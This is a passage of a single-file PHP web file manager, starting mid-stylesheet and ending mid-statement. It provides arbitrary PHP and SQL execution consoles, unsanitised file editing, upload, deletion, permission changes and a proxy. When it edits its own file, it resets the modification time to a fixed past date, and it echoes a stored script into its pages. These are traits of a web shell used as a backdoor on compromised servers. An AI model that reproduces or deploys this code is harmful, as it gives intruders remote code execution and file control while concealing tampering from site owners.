	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
